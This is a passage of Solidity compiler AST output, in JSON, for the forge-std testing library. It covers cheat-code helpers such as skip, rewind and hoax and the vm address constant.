":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"23815:4:3","typeDescriptions":{"typeIdentifier":"t_contract$_StdCheatsSafe_$5537","typeString":"contract StdCheatsSafe"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_StdCheatsSafe_$5537","typeString":"contract StdCheatsSafe"}],"id":5504,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"23807:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":5503,"name":"address","nodeType":"ElementaryTypeName","src":"23807:7:3","typeDescriptions":{}}},"id":5506,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23807:13:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":5507,"nodeType":"ExpressionStatement","src":"23807:13:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_viewChainId","nameLocation":"23604:12:3","parameters":{"id":5498,"nodeType":"ParameterList","parameters":[],"src":"23616:2:3"},"returnParameters":{"id":5501,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5500,"mutability":"mutable","name":"chainId","nameLocation":"23649:7:3","nodeType":"VariableDeclaration","scope":5509,"src":"23641:15:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5499,"name":"uint256","nodeType":"ElementaryTypeName","src":"23641:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"23640:17:3"},"scope":5537,"stateMutability":"view","virtual":false,"visibility":"private"},{"id":5536,"nodeType":"FunctionDefinition","src":"23877:300:3","nodes":[],"body":{"id":5535,"nodeType":"Block","src":"23940:237:3","nodes":[],"statements":[{"assignments":[5519],"declarations":[{"constant":false,"id":5519,"mutability":"mutable","name":"fnIn","nameLocation":"23993:4:3","nodeType":"VariableDeclaration","scope":5535,"src":"23950:47:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_uint256_$","typeString":"function () view returns (uint256)"},"typeName":{"id":5518,"nodeType":"FunctionTypeName","parameterTypes":{"id":5514,"nodeType":"ParameterList","parameters":[],"src":"23958:2:3"},"returnParameterTypes":{"id":5517,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5516,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":5518,"src":"23984:7:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5515,"name":"uint256","nodeType":"ElementaryTypeName","src":"23984:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"23983:9:3"},"src":"23950:47:3","stateMutability":"view","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_uint256_$","typeString":"function () view returns (uint256)"},"visibility":"internal"},"visibility":"internal"}],"id":5521,"initialValue":{"id":5520,"name":"_viewChainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5509,"src":"24000:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_uint256_$","typeString":"function () view returns (uint256)"}},"nodeType":"VariableDeclarationStatement","src":"23950:62:3"},{"assignments":[5527],"declarations":[{"constant":false,"id":5527,"mutability":"mutable","name":"pureChainId","nameLocation":"24065:11:3","nodeType":"VariableDeclaration","scope":5535,"src":"24022:54:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$__$returns$_t_uint256_$","typeString":"function () pure returns (uint256)"},"typeName":{"id":5526,"nodeType":"FunctionTypeName","parameterTypes":{"id":5522,"nodeType":"ParameterList","parameters":[],"src":"24030:2:3"},"returnParameterTypes":{"id":5525,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5524,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":5526,"src":"24056:7:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5523,"name":"uint256","nodeType":"ElementaryTypeName","src":"24056:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"24055:9:3"},"src":"24022:54:3","stateMutability":"pure","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$__$returns$_t_uint256_$","typeString":"function () pure returns (uint256)"},"visibility":"internal"},"visibility":"internal"}],"id":5528,"nodeType":"VariableDeclarationStatement","src":"24022:54:3"},{"AST":{"nativeSrc":"24095:43:3","nodeType":"YulBlock","src":"24095:43:3","statements":[{"nativeSrc":"24109:19:3","nodeType":"YulAssignment","src":"24109:19:3","value":{"name":"fnIn","nativeSrc":"24124:4:3","nodeType":"YulIdentifier","src":"24124:4:3"},"variableNames":[{"name":"pureChainId","nativeSrc":"24109:11:3","nodeType":"YulIdentifier","src":"24109:11:3"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":5519,"isOffset":false,"isSlot":false,"src":"24124:4:3","valueSize":1},{"declaration":5527,"isOffset":false,"isSlot":false,"src":"24109:11:3","valueSize":1}],"id":5529,"nodeType":"InlineAssembly","src":"24086:52:3"},{"expression":{"id":5533,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":5530,"name":"chainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5512,"src":"24147:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":5531,"name":"pureChainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5527,"src":"24157:11:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$__$returns$_t_uint256_$","typeString":"function () pure returns (uint256)"}},"id":5532,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24157:13:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"24147:23:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5534,"nodeType":"ExpressionStatement","src":"24147:23:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_pureChainId","nameLocation":"23886:12:3","parameters":{"id":5510,"nodeType":"ParameterList","parameters":[],"src":"23898:2:3"},"returnParameters":{"id":5513,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5512,"mutability":"mutable","name":"chainId","nameLocation":"23931:7:3","nodeType":"VariableDeclaration","scope":5536,"src":"23923:15:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5511,"name":"uint256","nodeType":"ElementaryTypeName","src":"23923:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"23922:17:3"},"scope":5537,"stateMutability":"pure","virtual":false,"visibility":"private"}],"abstract":true,"baseContracts":[],"canonicalName":"StdCheatsSafe","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[5537],"name":"StdCheatsSafe","nameLocation":"246:13:3","scope":6331,"usedErrors":[],"usedEvents":[]},{"id":6330,"nodeType":"ContractDefinition","src":"24229:7244:3","nodes":[{"id":5543,"nodeType":"UsingForDirective","src":"24280:32:3","nodes":[],"global":false,"libraryName":{"id":5540,"name":"stdStorage","nameLocations":["24286:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":9386,"src":"24286:10:3"},"typeName":{"id":5542,"nodeType":"UserDefinedTypeName","pathNode":{"id":5541,"name":"StdStorage","nameLocations":["24301:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"24301:10:3"},"referencedDeclaration":7427,"src":"24301:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}}},{"id":5546,"nodeType":"VariableDeclaration","src":"24318:27:3","nodes":[],"constant":false,"mutability":"mutable","name":"stdstore","nameLocation":"24337:8:3","scope":6330,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage","typeString":"struct StdStorage"},"typeName":{"id":5545,"nodeType":"UserDefinedTypeName","pathNode":{"id":5544,"name":"StdStorage","nameLocations":["24318:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"24318:10:3"},"referencedDeclaration":7427,"src":"24318:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"private"},{"id":5563,"nodeType":"VariableDeclaration","src":"24351:84:3","nodes":[],"constant":true,"mutability":"constant","name":"vm","nameLocation":"24371:2:3","scope":6330,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"},"typeName":{"id":5548,"nodeType":"UserDefinedTypeName","pathNode":{"id":5547,"name":"Vm","nameLocations":["24351:2:3"],"nodeType":"IdentifierPath","referencedDeclaration":15673,"src":"24351:2:3"},"referencedDeclaration":15673,"src":"24351:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"value":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"6865766d20636865617420636f6465","id":5557,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"24413:17:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""},"value":"hevm cheat code"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""}],"id":5556,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"24403:9:3","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":5558,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24403:28:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":5555,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"24395:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":5554,"name":"uint256","nodeType":"ElementaryTypeName","src":"24395:7:3","typeDescriptions":{}}},"id":5559,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24395:37:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":5553,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"24387:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":5552,"name":"uint160","nodeType":"ElementaryTypeName","src":"24387:7:3","typeDescriptions":{}}},"id":5560,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24387:46:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":5551,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"24379:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":5550,"name":"address","nodeType":"ElementaryTypeName","src":"24379:7:3","typeDescriptions":{}}},"id":5561,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24379:55:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":5549,"name":"Vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15673,"src":"24376:2:3","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Vm_$15673_$","typeString":"type(contract Vm)"}},"id":5562,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24376:59:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"visibility":"private"},{"id":5566,"nodeType":"VariableDeclaration","src":"24441:86:3","nodes":[],"constant":true,"mutability":"constant","name":"CONSOLE2_ADDRESS","nameLocation":"24466:16:3","scope":6330,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5564,"name":"address","nodeType":"ElementaryTypeName","src":"24441:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"hexValue":"307830303030303030303030303030303030303036333646366537333646366336353265366336663637","id":5565,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"24485:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x000000000000000000636F6e736F6c652e6c6f67"},"visibility":"private"},{"id":5581,"nodeType":"FunctionDefinition","src":"24604:93:3","nodes":[],"body":{"id":5580,"nodeType":"Block","src":"24649:48:3","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":5577,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":5574,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"24667:5:3","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":5575,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"24673:9:3","memberName":"timestamp","nodeType":"MemberAccess","src":"24667:15:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"id":5576,"name":"time","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5568,"src":"24685:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"24667:22:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5571,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"24659:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5573,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"24662:4:3","memberName":"warp","nodeType":"MemberAccess","referencedDeclaration":15502,"src":"24659:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":5578,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24659:31:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5579,"nodeType":"ExpressionStatement","src":"24659:31:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"skip","nameLocation":"24613:4:3","parameters":{"id":5569,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5568,"mutability":"mutable","name":"time","nameLocation":"24626:4:3","nodeType":"VariableDeclaration","scope":5581,"src":"24618:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5567,"name":"uint256","nodeType":"ElementaryTypeName","src":"24618:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"24617:14:3"},"returnParameters":{"id":5570,"nodeType":"ParameterList","parameters":[],"src":"24649:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5596,"nodeType":"FunctionDefinition","src":"24703:95:3","nodes":[],"body":{"id":5595,"nodeType":"Block","src":"24750:48:3","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":5592,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":5589,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"24768:5:3","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":5590,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"24774:9:3","memberName":"timestamp","nodeType":"MemberAccess","src":"24768:15:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":5591,"name":"time","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5583,"src":"24786:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"24768:22:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5586,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"24760:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5588,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"24763:4:3","memberName":"warp","nodeType":"MemberAccess","referencedDeclaration":15502,"src":"24760:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":5593,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24760:31:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5594,"nodeType":"ExpressionStatement","src":"24760:31:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"rewind","nameLocation":"24712:6:3","parameters":{"id":5584,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5583,"mutability":"mutable","name":"time","nameLocation":"24727:4:3","nodeType":"VariableDeclaration","scope":5596,"src":"24719:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5582,"name":"uint256","nodeType":"ElementaryTypeName","src":"24719:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"24718:14:3"},"returnParameters":{"id":5585,"nodeType":"ParameterList","parameters":[],"src":"24750:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5617,"nodeType":"FunctionDefinition","src":"24861:124:3","nodes":[],"body":{"id":5616,"nodeType":"Block","src":"24911:74:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5604,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5598,"src":"24929:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"commonType":{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"},"id":5607,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"hexValue":"31","id":5605,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"24940:1:3","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"nodeType":"BinaryOperation","operator":"<<","rightExpression":{"hexValue":"313238","id":5606,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"24945:3:3","typeDescriptions":{"typeIdentifier":"t_rational_128_by_1","typeString":"int_const 128"},"value":"128"},"src":"24940:8:3","typeDescriptions":{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"}],"expression":{"id":5601,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"24921:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5603,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"24924:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"24921:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5608,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24921:28:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5609,"nodeType":"ExpressionStatement","src":"24921:28:3"},{"expression":{"arguments":[{"id":5613,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5598,"src":"24968:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5610,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"24959:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5612,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"24962:5:3","memberName":"prank","nodeType":"MemberAccess","referencedDeclaration":15326,"src":"24959:8:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":5614,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24959:19:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5615,"nodeType":"ExpressionStatement","src":"24959:19:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"hoax","nameLocation":"24870:4:3","parameters":{"id":5599,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5598,"mutability":"mutable","name":"msgSender","nameLocation":"24883:9:3","nodeType":"VariableDeclaration","scope":5617,"src":"24875:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5597,"name":"address","nodeType":"ElementaryTypeName","src":"24875:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"24874:19:3"},"returnParameters":{"id":5600,"nodeType":"ParameterList","parameters":[],"src":"24911:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5638,"nodeType":"FunctionDefinition","src":"24991:134:3","nodes":[],"body":{"id":5637,"nodeType":"Block","src":"25055:70:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5627,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5619,"src":"25073:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5628,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5621,"src":"25084:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5624,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25065:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5626,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"25068:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"25065:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5629,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25065:24:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5630,"nodeType":"ExpressionStatement","src":"25065:24:3"},{"expression":{"arguments":[{"id":5634,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5619,"src":"25108:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5631,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25099:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5633,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"25102:5:3","memberName":"prank","nodeType":"MemberAccess","referencedDeclaration":15326,"src":"25099:8:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":5635,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25099:19:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5636,"nodeType":"ExpressionStatement","src":"25099:19:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"hoax","nameLocation":"25000:4:3","parameters":{"id":5622,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5619,"mutability":"mutable","name":"msgSender","nameLocation":"25013:9:3","nodeType":"VariableDeclaration","scope":5638,"src":"25005:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5618,"name":"address","nodeType":"ElementaryTypeName","src":"25005:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5621,"mutability":"mutable","name":"give","nameLocation":"25032:4:3","nodeType":"VariableDeclaration","scope":5638,"src":"25024:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5620,"name":"uint256","nodeType":"ElementaryTypeName","src":"25024:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"25004:33:3"},"returnParameters":{"id":5623,"nodeType":"ParameterList","parameters":[],"src":"25055:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5662,"nodeType":"FunctionDefinition","src":"25131:148:3","nodes":[],"body":{"id":5661,"nodeType":"Block","src":"25197:82:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5648,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5640,"src":"25215:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"commonType":{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"},"id":5651,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"hexValue":"31","id":5649,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"25226:1:3","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"nodeType":"BinaryOperation","operator":"<<","rightExpression":{"hexValue":"313238","id":5650,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"25231:3:3","typeDescriptions":{"typeIdentifier":"t_rational_128_by_1","typeString":"int_const 128"},"value":"128"},"src":"25226:8:3","typeDescriptions":{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits 